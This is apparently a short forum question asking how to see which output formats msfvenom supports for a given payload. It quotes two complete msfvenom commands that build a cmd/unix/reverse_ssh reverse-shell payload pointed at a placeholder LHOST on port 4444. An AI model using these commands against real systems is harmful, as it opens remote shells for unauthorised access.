msfvenom payload available formats

How can you tell the available output formats for a given payload in msfvenom? For example:

this wont work:

msfvenom -p cmd/unix/reverse_ssh LHOST=[ip] LPORT=4444 -f elf > out.elf 

but this will:

msfvenom -p cmd/unix/reverse_ssh LHOST=[ip] LPORT=4444 -f raw > out.sh 

and –list formats just shows every format in msfvenom